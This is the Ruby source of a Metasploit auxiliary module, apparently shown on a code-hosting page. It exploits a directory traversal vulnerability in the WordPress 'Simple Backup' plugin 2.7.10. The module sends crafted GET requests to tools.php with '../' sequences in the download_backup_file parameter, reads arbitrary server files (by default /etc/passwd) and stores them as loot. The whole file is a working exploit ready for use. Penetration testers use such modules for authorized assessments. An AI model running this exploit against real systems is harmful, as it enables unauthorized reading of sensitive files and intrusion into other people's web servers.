Brent Cook
87 lines
2.5 KiB
Ruby
87 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::HTTP::Wordpress
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WordPress Simple Backup File Read Vulnerability',
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'Description' => %q{
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This module exploits a directory traversal vulnerability in WordPress Plugin
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"Simple Backup" version 2.7.10, allowing to read arbitrary files with the
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web server privileges.
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},
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'References' =>
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[
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['WPVDB', '7997'],
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['PACKETSTORM', '131919']
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],
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'Author' =>
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[
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'Mahdi.Hidden', # Vulnerability Discovery
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'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
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],
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'License' => MSF_LICENSE
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))
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register_options(
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[
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OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
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OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 6 ])
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])
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end
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def check
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check_plugin_version_from_readme('simple-backup', '2.7.11')
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end
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def run_host(ip)
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traversal = '../' * datastore['DEPTH']
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filename = datastore['FILEPATH']
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filename = filename[1, filename.length] if filename =~ /^\//
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(wordpress_url_backend, 'tools.php'),
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'vars_get' =>
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{
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'page' => 'backup_manager',
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'download_backup_file' => "#{traversal}#{filename}"
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}
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)
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unless res && res.body
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vprint_error("Server did not respond in an expected way.")
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return
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end
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if res.code == 200 &&
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res.body.length > 0 &&
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res.headers['Content-Disposition'] &&
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res.headers['Content-Disposition'].include?('attachment; filename') &&
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res.headers['Content-Length'] &&
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res.headers['Content-Length'].to_i > 0
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vprint_line("#{res.body}")
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fname = datastore['FILEPATH']
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path = store_loot(
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'simplebackup.traversal',
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'text/plain',
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ip,
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res.body,
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fname
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)
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print_good("File saved in: #{path}")
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else
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vprint_error("Nothing was downloaded. You can try to change the DEPTH parameter or verify the correct filename.")
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end
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end
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end
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